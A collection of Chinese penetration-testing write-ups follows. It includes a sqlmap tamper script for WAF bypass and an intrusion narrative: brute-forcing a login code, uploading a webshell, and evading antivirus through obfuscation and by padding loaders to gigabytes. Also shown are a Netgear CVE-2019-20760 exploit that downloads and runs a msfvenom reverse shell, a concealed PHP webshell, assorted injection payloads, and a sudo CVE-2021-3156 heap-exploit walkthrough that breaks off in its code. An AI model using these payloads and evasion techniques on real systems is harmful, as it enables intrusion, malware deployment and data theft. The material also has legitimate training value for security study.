在一次渗透中学会编写Tamper脚本
拿到这个网站,通过对比查询,我们发现
闭合参数 finsh 时,查询出的内容更多
经过进一步判断,确实存在漏洞
不过在测试的时候发现存在一定的过滤
但是可以通过内联注释进行绕过。
这里也是加深了解了内联注释的知识点,之前只会简单的利用 /*!50000UniON SeLeCt*/ /*!12345union*/不知其所以然,有这样一段解释,在 mysql 中 /*!...*/不是注释,mysql 为了保持兼容,它把一些特有的仅在 mysql 上用的语句放在 /*!...*/中,这样这些语句如果在其他数据库中是不会被执行,但是在 mysql 中它会执行。当后面接的数据库版本号小于自身版本号,就会将注释中的内容执行,当后面接的数据库版本号大于等于自身版本号,就会当做注释来处理。如下语句 /*!50001UniON SeLeCt*/ 这里的 50001 表示假如数据库的版本是
我们首先查询出数据库的版本信息
当前面的数字为 50723 及小于这个数的五位数字组合都可以利用成功
当前面的数字为 50724 及大于这个数的五位数字组合无法利用成功
我们已经手工验证过了存在 SQL 注入漏洞,但是却无法利用 sqlmap 识别出联合注入,是因为存在检测,需要内联注释进行绕过
我们需要编写一个Tamper脚本
我们打开 sqlmap-master\tamper 下的一个文件 htmlencode.py 我们看到就是一个查找替换的操作
我们目前已经知道需要利用内联注释来实现绕过检测的操作
我们修改代码
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
>>> tamper("1' AND SLEEP(5)#")
'1'/!*00000AND SLEEP(5)*/#'
"""
if payload:
replaced_text = payload
replace_code = re.search(r"'(.*?)(#|--)", payload)
if replace_code:
replaced_text = re.sub(r"(?<=')(.*?)(?=#|--)", r"/!*00000\1*/", payload)
return replaced_text
成功生效
记一次有点抽象的渗透经历
0x01 获取webshell
在各种信息搜集中,发现某个ip的端口挂着一个比较老的服务。
首先看到了员工工号和手机号的双重验证,也不知道账号是什么结构组成的,基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果,看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档
看得出来也是一个年久失修的系统了,图片的链接都已经404了。但是这里得到了一个示例账号zs001,也知道了初始密码是123456(吐槽:果然年久失修了,这个系统就没有输入密码的input,只有一个手机号验证码)。
知道了账号,这里还缺一个手机号。感觉这个系统应该没做验证,毕竟看上去是一个老旧的系统,估计有没有人用用都不好说,可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然!
然后随便找个手机接码平台等待验证码发过来,然后过了十几分钟无果,想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破,估计验证码也是四位数,如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。
然后登录后台直接上传一个木马,没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。
但是访问的时候出现了一个坏消息。404了,404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了,然后再上传到服务器之后被杀软自动隔离,那么这时候访问就会出现404。
0x02 webshell免杀
这里中途又替换了几个github上的免杀木马,均无效。ps:我是懒狗,免杀什么的能不写代码就不写代码。php这玩意有个好处,就是语法特别脏,各种免杀手法层出不穷,花里胡哨。这里就简单的介绍几种比较偷懒的方法。
2.1 无字母webshell
个人在实际渗透过程中还算挺好用的,无字母webshell本来是ctf的一些题目,但是事实上免杀效果确实也挺强,而且适应性也比较高,适合一句话木马。之后可以直接上蚁剑链接。
举例:
ps:当然都说了偷懒,肯定不是我写的,直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。
免杀效果如下:
ps: emmmmmmm,我只能说,无敌好吧。
2.2 一键免杀工具免杀
这里不多说了,去github直接找就是,但是github特征过于明显,以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的,效果也还不错。
2.3 混淆免杀
混淆免杀,php有很多在线混淆的网站,也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。
可以直接去网上搜索php混淆
这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。
0x03 绕过杀软上线
接下来就是传frp代理,上cs的操作了。这里先上一个cs,但是由于目标机器上有杀软,所以采用shellcode加加载器的方式去进行绕过。众所周知,cs的特征较为明显,很容易就会被杀软拦截。
首先是shellcode免杀,shellcode免杀可以使用github上的sgn加密工具,免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn
使用方法也很简单,把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。
sgn.exe shellcode文件名
免杀前效果
免杀后效果
剩下的就是加载器本身的免杀了,这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。
其实有一个比较抽象的技巧,就是当文件足够大之后,杀软的沙箱就不会去运行该程序,从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。
那么怎么能让文件变得足够大呢?就是不断往文件后面填充垃圾字符,比如\x00这样既不会影响exe执行,又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。
这里上代码
with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100)
可以看到每次运行add.py 1.exe就大了100m。
然后多次运行,当1.exe达到2g的时候,根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。(这个方法很玄学,不是很稳定,有时候能有有时候不能用。但是还是值得一试,毕竟是老前辈传承下来的经典免杀手法。)
但是问题来了,2个g的文件怎么上传到服务器又是一个问题,这里就要说明一下\x00的好处了,可以通过压缩成zip的方式把exe压缩,压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器,然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。
0x04 内网移动
之后便是熟悉的内网横向环节了。首先是看到了一个弱口令,然后直接链接数据库然后getshell。
然后直接net user add,之后3389链接上服务器,翻出了一个密码本。
找到一个双网卡的sql server服务器,然后上线,扫一波SMB
最后找到重要系统10.x.x.x 这个系统,看着是java写的后端,也是一个看起来很老的界面了。
扫了一下路径发现存在druid。
原本想找session登录的,然后想了一下试一下运气直接怼一波st2,成功拿下(也是运气爆棚)
Netgear无线路由器漏洞复现(CVE-2019-20760)
漏洞概述
漏洞服务: uhttpd
漏洞类型: 远程命令执行
影响范围: 1.0.4.26之前的NETGEAR R9000设备会受到身份验证绕过的影响
解决建议: 更新版本
漏洞复现
操作环境: ubuntu:22.04
qemu-version: 8.1.1
仿真环境
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
下载固件。
binwalk -Mer R9000-V1.0.4.26.img
可通过 binwalk 常规解压获得文件系统。
检查 ELF32 文件架构为 arm-32-little。
wget https://file.erlkonig.tech/debian-armhf/wheezy/debian_wheezy_armhf_standard.qcow2
wget https://file.erlkonig.tech/debian-armhf/wheezy/initrd.img-3.2.0-4-vexpress
wget https://file.erlkonig.tech/debian-armhf/wheezy/vmlinuz-3.2.0-4-vexpress
下载合适的虚拟机映像。
#!/bin/sh
# 参考《CTF实战》by ChaMd5
# 'ens33': The NIC is that can connect internet
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
配置网络。
#!/bin/sh
qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic-M # 选择开发板•
-m # 指定内存大小
-drive # 定义存储驱动器•
file= # 定义镜像文件•
-net nic # 创建客户机网卡•
-net tap # 创建 tap 设备,以桥接方式跟宿主机通信•
ifname=virtual0 # tap 设备与名为 virtual0 的虚拟网卡进行桥接通信•
-nographic # 以非图形化模式启动•
-append # 内核启动附加参数•
-console=ttyAMA0 # console指向串口,有此启动参数,内核启动日志才能输出到宿主机终端
-nographic # 不再启用额外的终端界面
启动 qemu-system-armhf 环境,默认用户名密码都为 root。
ifconfig eth0 192.168.152.168/24
为 qemu-system-armhf 配置静态 IP。
tar -cvf squashfs-root.tar.gz squashfs-root/
python3 -m http.server
将文件根系统打包,然后利用 python3 的 http.server 模块下载到 qemu-system-armhf 的根目录中并用 tar xvf squashfs-root.tar.gz 解压。
cd /squashfs-root
mount --bind /proc proc # proc目录是一个虚拟文件系统,可以为linux用户空间和内核空间提供交互
mount --bind /dev dev # /dev/下的设备是通过创建设备节点生成的,用户通过此设备节点来访问内核里的驱动
chroot . sh
因为 chroot 会导致无法在隔离的文件系统中访问原本的 /proc和 /dev 目录,这里利用 mount 命令将 qemu-system-armhf 的 proc 和 dev 目录挂在到 squashfs-root 中,并更换根目录为 squashfs-root。
Web模拟
find -name uhttpd
cat ./etc/init.d/uhttpd# ./etc/init.d/uhttpd
...
start() {
#config_load uhttpd
#config_foreach start_instance uhttpd
#mkdir /tmp/www
#cp -rf /usr/www/* /tmp/www
/www/cgi-bin/uhttpd.sh start
inetd
detplc
#for bug58012
touch /tmp/fwcheck_status
}
...
查找 uhttpd 的相关文件。
#!/bin/sh
REALM=`/bin/cat /module_name | sed 's/\n//g'`
UHTTPD_BIN="/usr/sbin/uhttpd"
PX5G_BIN="/usr/sbin/px5g"
uhttpd_stop()
{
kill -9 $(pidof uhttpd)
}
uhttpd_start()
{
$UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443
}
case "$1" in
stop)
uhttpd_stop
;;
start)
uhttpd_start
;;
restart)
uhttpd_stop
uhttpd_start
;;
*)
logger -- "usage: $0 start|stop|restart"
;;
esac
查看 start() 函数中利用的 /www/cgi-bin/uhttpd.sh 脚本。发现启动命令为 $UHTTPD_BIN -h /www -r ${REALM} -x /cgi-bin -t 70 -p 0.0.0.0:80 -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 其中 REALM = R9000 ,UHTTPD_BIN = /usr/sbin/uhttpd。我们无需开启 https,所以启动命令为 /usr/sbin/uhttpd -h /www -r R9000 -x /cgi-bin -t 70 -p 0.0.0.
逆向分析
wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip
获取修复版本的固件。因为源码较为繁杂,我们通过 Bindiff 进行二进制比对,来查找漏洞点。
shift+D 选取修复版本的 /usr/sbin/uhttpd 文件即可,主要查看登录验证的 uh_cgi_auth_check() 函数。
memset(s, 0, 0x1000u);
v14 = strlen(v13);
uh_b64decode(s, 0xFFF, v13 + 6, v14 - 6);
v15 = strchr(s, ':');
if ( !v15 )
{
LABEL_32:
v16 = 0;
v17 = 0;
goto LABEL_15;
}
v16 = v15 + 1;
*v15 = 0;
if ( v15 != (char *)0xFFFFFFFF )
{
snprintf(command, 0x80u, "/usr/sbin/hash-data -e %s >/tmp/hash_result", v15 + 1);
system(command);
v3 = cat_file(73805);
}
v17 = s
漏洞版本 base64 解密后 snprintf() 后直接传给 system() 执行,这里会把 v15(:)后面的内容放到 %s 处,记得加\n来执行多条指令。
memset(s, 0, 0x1000u);
v15 = strlen(v14);
uh_b64decode(s, 4095, v14 + 6, v15 - 6);
v16 = strchr(s, 58);
if ( !v16 )
{
LABEL_15:
v17 = 0;
v18 = 0;
goto LABEL_16;
}
v17 = v16 + 1;
*v16 = 0;
if ( v16 != (char *)-1 )
{
v18 = s;
dni_system("/tmp/hash_result", 0, 0, "/usr/sbin/hash-data", "-e", v17, 0);
v19 = cat_file("/tmp/hash_result");
goto LABEL_17;
}
而修复版本则利用 dni_system() 执行,只可控参数。
获取权限
poc:
#!/usr/bin/python3
from pwn import *
import requests
import base64
cmd = 'admin:'
cmd += '`'
cmd += 'wget http://192.168.152.167:8000/shell.elf\n'
cmd += 'chmod 777 ./shell.elf\n'
cmd += './shell.elf\n'
cmd += '`'
assert(len(cmd) < 255)
cmd_b64 = base64.b64encode(cmd.encode()).decode()
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Authorization": "Basic " + cmd_b64
}
def attack():
try:
requests.get("http://192.168.152.168/cgi-bin/", headers=headers, timeout=3)
except Exception as e:
print(e)
attack()msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.152.167 LPORT=10086 -f elf > shell.elf
利用 msf 生成对应架构的木马程序,然后在shell.elf所在的目录开启http服务,利用漏洞将木马程序下载下来。
启动监听,并执行 exp.py
成功获取 shell,我们利用获取的权限在 www 目录创建 flag.txt 文件然后访问它。
成功创建。
记一次特别的未授权访问
某个夜里,随手点进去的一个小程序,引发的连锁反应。
开局一个小程序:
登录方式令人发愁,尝试收集,无果。
数据交互的地方说不定有sql,再次尝试,还是无果。
复制连接去web端,看看有没有什么收获:
好熟悉的界面,这不是SpringBoot框架不,立马工具梭哈。
果然存在springboot未授权访问,网上查找了一些相应的资料,不同的路径泄露不同的信息。
访问/actuator
发现存在heapdump,heapdump是一个二进制文件,里面存储大量敏感信息,立马访问下载,使用工具爬取敏感信息(JDumpSpider-master自动化爬取heapdump工具,特别好用)。
成功找到redis密码,同样还有nacos密码。
Redis连接,无果,但是还有nacos,访问/ actuator/env,寻找地址。
立即访问,还是无果。正当我准备放弃时,又发现一个地址而且是同ip下不同的端口,同样访问。
第一次遇见也不知道是什么,弱口令爆破一波,无果。为什么我这么弱,不甘心,复制粘贴浏览器搜索,还真就给他搜出东西来了。
再次尝试默认密码,无果,我最后的希望ssrf,拿下payload测试。
好像有戏,但是我们登录不进去,看不到是否成功,于是想到了无回显的ssrf的利用,联动dnslog,看看是否有外联日志,说干就干,先到dnslog网址上申请一个ip,将127.0.0.1替换。
来了来了,存在ssrf。(点到为止)
结论:
测试是一个艰辛又漫长的过程,抓住一切的可能才有结果。在任何情况下,未经授权的渗透测试行为都是违法的,可能导致严重的法律后果。因此,在进行任何安全测试之前,请务必与目标单位达成明确的协议和授权。
记一些CISP-PTE题目解析
0x01 命令执行
直接payload: 127.0.0.1 &whoami,发现可以成功执行whoami命令
然后ls ../ ,发现有个key.php文件
尝试用cat命令查看发现不行被拦截了。(其实题目过滤了常用的查看文件的命令)
这里有两种思路,第一种是根据题目意思用命令执行写webshell的方式去进行getshell,第二种方式则是使用linux的命令进行绕过。这里采用第二种方式使用c''at的方式进行绕过。
0x02 基础题目之文件上传突破
可以发现部分上传代码,文件名被命名成一个随机数加上原本的文件名然后md5的值。
直接上传一个带图片头的php木马(会检测是否是图片,所以需要一个GIF89A当图片头),而且过滤了一些敏感函数如eval等。这里直接上传一个免杀的木马即可。
<?php
function go()
{
$func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) .
chr(116);
return $func1;
}
$func1 = go();
$array1 = array($_GET['cmd']);
array_map($func1, $func1 = $array1);
?>
然后接下来就是爆破出shell的地址了,这里我们直接把上传的数据包重放1000次用来提高爆破成功的效率。
用burp的null payload发送1000次
然后设置上传的文件名1.php为前缀,加上随机数的1~99999,最后经过md5加密即可。
设置前缀为1.php (上传的文件名)
然后添加md5
最后就是等待爆破成功。
key在web根目录下的key.php文件
0x03 基础题目之流量分析
下载数据包,使用wireshark发现是http协议居多,首先可以使用wireshark的导出文件查看一下http的访问文件分组。
可以发现攻击者在进行目录爆破。这里可以直接选择
然后根据文件大小排序一下,发现其中有一个压缩包。
但是压缩包设置了密码
然后查找http数据中是否有包含压缩包名字的数据包,其中phpspy.php包含了这个压缩包的名称。
追踪流结果发现Adm1n!是解压密码(%21是url编码)
0x04 代码审计
考点就是让数字绕过is_numerice判断,这里直接使用数字后面跟一个字符串即可绕过。
0x05 基础题目之SQL注入
首先发现题目有一个注册界面,注册账号之后进行登录。
然后再发表文章处发现存在insert注入。
直接抓取数据包使用sqlmap即可
0x06 基础题目之SQL注入
没什么特别的,只是过滤了union关键字这里用双写绕过就可以了, ununionion这样。
然后直接load_file读取文件即可获取key。
0x07 无回显命令执行
很简单,看了一下代码,限制了cmd参数的命令长度而已。可以使用linux的流符号生成一个文件
0x08 二阶SQL注入
二次注入是一种SQL注入攻击的形式,它涉及到用户输入的数据在第一次被存储到数据库中时被错误地处理,导致在后续的查询中,这些原本被转义的数据再次被使用,从而执行恶意命令。
第一步是插入恶意数据:
在第一次插入数据时,开发者可能使用了函数如addslashes过滤了,这时是没有问题的。
比如注册功能:
这里注册一个test'用户 ,由于'被成功转义成了'所以这里是能够正常执行sql语句的。
然后登录test'用户也是没有问题的
但是问题出现再第二次数据库操作中,由于被存入的数据库的用户名是test',那么在第二次系统从数据库中获取用户名的时候如果没有过滤那么就会造成二次注入。
比如更新密码:
系统的语句可能会长这样:
update user set passwd = 'newpasswd' where uname = 'test'' #test'是用户名。那么这种情况就可能导致注入。
那么二次注入怎么利用,这里可以看到需要admin用户登录才能够得到key,那么我们能够用构造一条语重置admin密码就可以了
update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a'
aaa' or 1 -- a是用户名
用新用户重置admin的密码
再次登录admin
CVE复现之老洞新探(CVE-2021-3156)
环境搭建
直接拉取合适的docker
docker 环境:
https://hub.docker.com/r/chenaotian/cve-2021-3156下载glibc-2.27源码和sudo-1.8.21源码
漏洞分析
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符
if (size == 0 || (user_args = malloc(size)) == NULL) { //分配堆块,存放command
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { // 设置-s参数进入分支
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++; // 跳过反斜杠
*to++ = *from++; // 复制反斜杠后面的字符
} // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。
*to++ = ' '; //每个command后面跟一个空格
}
*--to = '\0';
} else {
for (to = user_args, av = NewArgv + 1; *av; av++) {
n = strlcpy(to, *av, size - (to - user_args));
if (n >= size - (to - user_args)) {
sudo_warnx(U_("internal error, %s overflow"), __func__);
debug_return_int(-1);
}
to += n;
*to++ = ' ';
}
*--to = '\0';
}
}
}
结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:
①以反斜杠结尾可导致溢出
②以反斜杠作为参数可以写入零字节
同时,被溢出的那个堆块的大小等于对应参数长度+1。
漏洞调试
glibc源码
gdb exp
catch exec
b policy_check
b sudoers.c:846
b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398
b nss_load_librarygcc exp.c -o exp2 -lm
漏洞利用
1 利用目标
p ni
可以发现service_user结构体在堆上
堆块大小为0x40
nss_load_library的函数调用流程和相关的数据结构机制
/* Load library. */
static int
' (service_user *ni)
{
if (ni->library == NULL) // ni->library等于0进入分支
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name); // 新建一个ni->library,并将成员初始化
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision
ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。
2 堆块布局
接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。
这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
int category, const char **name)
{
......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:
language[_territory[.codeset]][@modifier]
Beside the first all of them are allowed to be missing. If the
full specified locale is not found, the less specific one are
looked for. The various part will be stripped off according to
the following order:
(1) codeset
(2) normalized codeset
(3) territory
(4) modifier
*/
//locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。
// C.UTF-8@AAAAAAAAA
mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
&codeset, &normalized_codeset);
// 判断四个部分那部分有缺失
if (mask == -1)
/* Memory allocate problem. */
return NULL;
/* If exactly this locale was already asked for we have an entry with
the complete name. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 0);
if (locale_file == NULL)
{
/* Find status record for addressed locale file. We have to search
through all directories in the locale path. */
locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
locale_path, locale_path_len, mask,
language, territory, codeset,
normalized_codeset, modifier,
_nl_category_names.str
+ _nl_category_name_idxs[category], 1);
if (locale_file == NULL)
/* This means we are out of core. */
return NULL;
}
结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA
堆申请原语和堆释放原语
// locale\setlocale.c
/* Load the new data for each category. */
while (category-- > 0)
if (category != LC_ALL)
{
newdata[category] = _nl_find_locale (locale_path, locale_path_len,
category,
&newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中
if (newdata[category] == NULL)
{
#ifdef NL_CURRENT_INDIRECT
if (newnames[category] == _nl_C_name)
/* Null because it's the weak value of _nl_C_LC_FOO. */
continue;
#endif
break;
}
/* We must not simply free a global locale since we have
no control over the usage. So we mark it as
un-deletable. And yes, the 'if' is needed, the data
might be in read-only memory. */
if (newdata[category]->usage_count != UNDELETABLE)
newdata[category]->usage_count = UNDELETABLE;
/* Make a copy of locale name. */
if (newnames[category] != _nl_C_name)
{
if (strcmp (newnames[category],
_nl_global_locale.__names[category]) == 0)
newnames[category] = _nl_global_locale.__names[category];
else
{
newnames[category] = __strdup (newnames[category]);
//使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去
if (newnames[category] == NULL)
break;
}
}
}
/* Create new composite name. */
composite = (category >= 0
? NULL : new_composite_name (LC_ALL, newnames));
if (composite != NULL)
{
/* Now we have loaded all the new data. Put it in place. */
for (category = 0; category < __LC_LAST; ++category)
if (category != LC_ALL)
{
setdata (category, newdata[category]);
setname (category, newnames[category]);
}
setname (LC_ALL, composite);
/* We successfully loaded a new locale. Let the message catalog
functions know about this. */
++_nl_msg_cat_cntr;
}
else
for (++category; category < __LC_LAST; ++category)
if (category != LC_ALL && newnames[category] != _nl_C_name
&& newnames[category] != _nl_global_locale.__names[category])
free ((char *) newnames[category]);
//这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉
先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中
char * __strdup(const char *s)
{
size_t len = strlen(s) +1;
void *new = malloc(len);
if (new == NULL)
return NULL;
return (char *)memecpy(new,s,len);
}
然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。
locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:
1、语言符号及其分类(LC_CTYPE)
2、数字(LC_NUMERIC)
3、比较和习惯(LC_COLLATE)
4、时间显示格式(LC_TIME)
5、货币单位(LC_MONETARY)
6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)
7、姓名书写方式(LC_NAME)
8、地址书写方式(LC_ADDRESS)
9、电话号码书写方式(LC_TELEPHONE)
10、度量衡表达方式 (LC_MEASUREMENT)
11、默认纸张尺寸大小(LC_PAPER)
12、对locale自身包含信息的概述(LC_IDENTIFICATION)。
对应
"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"
其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。
接下里就是想要如何将一个service_user申请到前面我的堆块前面
可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。
通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。
length = 0x38
while(length < 0x100):
tail = 'C.UTF-8@'
# length = 0x48
q = "a"*(length-2)+"\\"
p = tail+'a'*(length-1-len(tail))
print(hex(length))
print(q)
print(p)
length += 0x10
经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。
"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"
其中0xa0是为堆溢出的堆块留的坑
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(-1);
}
在malloc前下断点·
b sudoers.c:849
查看bins,可以看到tcachebins中0xa0正好有一个堆块
然后在nss_load_library下断点,查看service_user
b nss_load_library
p ni
可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段
所以填坑的参数按照前面的分析应该是
"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"
综合得到如下初步exp
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>
#define __LC_CTYPE 0
#define __LC_NUMERIC 1
#define __LC_TIME 2
#define __LC_COLLATE 3
#define __LC_MONETARY 4
